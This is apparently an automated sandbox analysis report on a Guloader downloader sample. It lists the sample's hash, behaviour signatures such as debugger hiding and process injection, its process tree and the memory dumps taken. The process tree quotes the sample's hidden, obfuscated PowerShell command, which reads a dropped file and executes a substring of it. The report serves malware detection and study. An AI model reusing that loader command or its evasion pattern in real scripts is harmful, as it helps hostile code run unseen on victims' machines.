Analysis
- max time kernel
143s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
06/08/2024, 15:01
General
- Target MalwareBazaar.exe
- Size 517KB
- Sample240806-sd3p4ssbqk
- SHA256 b45cc41648974fd25b69165096e789b5978dd11691c0c9005c911cd6654eb6b7
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Udskammet=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Tilkendegivelses\dekanesses\Avanceringernes39\stenotypic.Oce';$Generalkomandoens208=$Udskammet.SubString(52474,3);.$Generalkomandoens208($Udskammet)2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Inimitability.Alt
stenotypic.Oce
__PSScriptPolicyTest_pvmbw21h.pmd.ps1
memory/1692-44-0x0000000002060000-0x0000000002A6E000-memory.dmp
memory/1692-52-0x0000000002060000-0x0000000002A6E000-memory.dmp
memory/1692-48-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3628-27-0x0000000006930000-0x000000000697C000-memory.dmp
memory/3628-43-0x000000007324E000-0x000000007324F000-memory.dmp
memory/3628-8-0x000000007324E000-0x000000007324F000-memory.dmp
memory/3628-21-0x0000000005D60000-0x00000000060B4000-memory.dmp
memory/3628-26-0x0000000006400000-0x000000000641E000-memory.dmp
memory/3628-37-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-28-0x0000000007440000-0x00000000074D6000-memory.dmp
memory/3628-29-0x0000000006880000-0x000000000689A000-memory.dmp
memory/3628-30-0x0000000006900000-0x0000000006922000-memory.dmp
memory/3628-31-0x0000000007A90000-0x0000000008034000-memory.dmp
memory/3628-10-0x00000000054E0000-0x0000000005B08000-memory.dmp
memory/3628-33-0x00000000086C0000-0x0000000008D3A000-memory.dmp
memory/3628-11-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-36-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-15-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-39-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-35-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-40-0x0000000008D40000-0x000000000974E000-memory.dmp
memory/3628-41-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-9-0x0000000002D60000-0x0000000002D96000-memory.dmp
memory/3628-42-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-13-0x0000000005C80000-0x0000000005CE6000-memory.dmp
memory/3628-45-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-46-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-49-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-14-0x0000000005CF0000-0x0000000005D56000-memory.dmp
memory/3628-50-0x0000000073240000-0x00000000739F0000-memory.dmp
memory/3628-12-0x00000000053A0000-0x00000000053C2000-memory.dmp
memory/3628-57-0x0000000073240000-0x00000000739F0000-memory.dmp